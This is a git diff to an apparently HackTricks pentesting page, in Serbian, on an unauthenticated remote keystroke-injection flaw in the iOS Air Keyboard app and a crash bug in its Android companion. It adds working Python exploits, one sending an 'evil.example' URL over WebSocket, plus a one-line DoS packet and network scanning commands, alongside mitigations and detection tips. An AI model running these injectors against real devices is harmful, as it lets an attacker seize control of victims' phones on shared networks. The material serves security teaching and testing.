diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index 1785866b6..bfcf3d271 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,18 +1,26 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otvara **TCP servis u čistom tekstu na portu 8888** koji prihvata okvire pritisaka tastera **bez ikakve autentifikacije**. Svaki uređaj na istoj Wi-Fi mreži može se povezati na taj port i injektovati proizvoljni unos sa tastature u telefon žrtve, ostvarujući **potpuno preuzimanje daljinske interakcije**. +iOS verzija komercijalne **“Air Keyboard”** aplikacije (App Store ID 6463187929) izlaže uslugu lokalne mreže koja **prihvata okvire pritisaka tastera bez ikakve autentifikacije ili provere porekla**. U zavisnosti od instalirane verzije, usluga je ili: -Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje **neobrađenu izuzetak u OpenSSL rutini dekripcije**, rušeći pozadinsku uslugu (**DoS**). +* **≤ 1.0.4** – sirovi TCP slušalac na **portu 8888** koji očekuje 2-bajtni zaglavlje dužine praćeno *device-id* i ASCII payload-om. +* **≥ 1.0.5 (jun 2025)** – **WebSocket** slušalac na *istom* portu (**8888**) koji analizira **JSON** ključeve kao što su `{"type":1,"text":"…"}`. -## 1. Otkriće servisa +Svaki uređaj na istoj Wi-Fi / podmreži može **ubaciti proizvoljni unos sa tastature u telefon žrtve, postignuvši potpunu daljinsku interakciju**. +Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu, ali kreirani šum i dalje uzrokuje **neobrađenu izuzetak unutar OpenSSL**, rušeći pozadinsku uslugu (**DoS**). -Skenirajte lokalnu mrežu i tražite dva fiksna porta koja koriste aplikacije: +> Ranljivost je **i dalje neispravljena u trenutku pisanja (jul 2025)** i aplikacija ostaje dostupna u App Store-u. + +--- + +## 1. Otkriće usluge + +Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` Na Android uređajima možete lokalno identifikovati odgovarajući paket: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Format okvira (iOS) +Na **jailbroken iOS** možete uraditi nešto slično sa `lsof -i -nP | grep LISTEN | grep 8888`. -Binarni fajl otkriva sledeću logiku parsiranja unutar rutine `handleInputFrame()`: +--- + +## 2. Detalji protokola (iOS) + +### 2.1 Nasleđe (≤ 1.0.4) – prilagođeni binarni okviri ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -Deklarisana dužina uključuje `device_id` bajt **ali ne** i dvobajtni header. +Deklarisana *dužina* uključuje `device_id` bajt **ali ne** i dvobajtni zaglavlje. + +### 2.2 Trenutna (≥ 1.0.5) – JSON preko WebSocket-a + +Verzija 1.0.5 tiho je migrirala na WebSocket-e dok je port broj ostao nepromenjen. Minimalni pritisak tastera izgleda ovako: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +Nema potrebe za rukovanjem, tokenom ili potpisom – prvi JSON objekat već pokreće UI događaj. + +--- ## 3. Eksploatacija PoC + +### 3.1 Ciljanje ≤ 1.0.4 (raw TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Svaki štampajući ASCII (uključujući `\n`, `\r`, specijalne tastere, itd.) može biti poslat, efektivno dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, poseta phishing URL-ovima, itd. +### 3.2 Ciljanje ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*Svaki štampajući ASCII — uključujući prelome linija, tabove i većinu specijalnih tastera — može biti poslat, dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, otvaranje zlonamernih URL-ova, prebacivanje podešavanja, itd.* + +--- ## 4. Android Companion – Odbijanje usluge -Android port (55535) očekuje lozinku od 4 karaktera enkriptovanu sa **hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene. +Android port (55535) očekuje **4-znamenkastu lozinku enkriptovanu sa hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose do `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Uzrok +--- + +## 5. Povezane Aplikacije – Ponavljajući Anti-Obrazac + +Air Keyboard **nije izolovan slučaj**. Druge mobilne “daljinske tastature/misevi” imaju istu manu: + +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 omogućava neautentifikovanu izvršavanje komandi i logovanje tastera u običnom tekstu. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 neautentifikovana RCE & prisluškivanje saobraćaja. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 podrazumevano-bez-lozinke, slaba PIN brute-force i curenje u običnom tekstu. + +Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su okrenute ka mreži na mobilnim aplikacijama**. + +--- + +## 6. Osnovni Uzroci 1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS). 2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android). +3. **Korisnički odobrena Local-Network dozvola ≠ sigurnost** – iOS zahteva saglasnost u toku rada za LAN saobraćaj, ali to ne zamenjuje pravilnu autentifikaciju. -## 6. Mogućnosti ublažavanja i ideje za jačanje +--- -* Nikada ne izlagati neautentifikovane usluge na mobilnom uređaju. -* Izvesti tajne po uređaju tokom onboardinga i proveriti ih pre obrade unosa. -* Povezati slušalac na `127.0.0.1` i koristiti međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje. -* Otkrivati neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.). -* Kao krajnji korisnik: deinstalirati Air Keyboard ili ga koristiti samo na pouzdanim, izolovanim Wi-Fi mrežama. +## 7. Ojačavanje & Odbrambene Mere + +Preporuke za programere: + +* Povežite slušalac na **`127.0.0.1`** i tunelujte preko **mTLS** ili **Noise XX** ako je potrebna daljinska kontrola. +* Izvedite **tajne po uređaju tokom onboardinga** (npr. QR kod ili PIN za uparivanje) i primenite *uzajamnu* autentifikaciju pre obrade unosa. +* Usvojite **Apple Network Framework** sa *NWListener* + TLS umesto sirovih soketa. +* Implementirajte **provere dužine** i strukturiranu obradu izuzetaka prilikom dekriptovanja ili dekodiranja okvira. + +Brzi dobitci za Blue-/Red-Team: + +* **Mrežno lovljenje:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ili Wireshark filter `tcp.port == 8888`. +* **Inspekcija u toku rada:** Frida skripta koja hvata `socket()`/`NWConnection` da bi se prikazali neočekivani slušatelji. +* **iOS Izveštaj o Privatnosti Aplikacija (Podešavanja ▸ Privatnost & Bezbednost ▸ Izveštaj o Privatnosti Aplikacija)** ističe aplikacije koje kontaktiraju LAN adrese – korisno za uočavanje zlonamernih usluga. +* **Mobilni EDR-ovi** mogu dodati jednostavna Yara-L pravila za JSON ključeve `"selectionStart"`, `"selectionEnd"` unutar običnih TCP tereta na portu 8888. + +--- ## Detekcija Cheat-Sheet (Pentesteri) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## Reference -- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}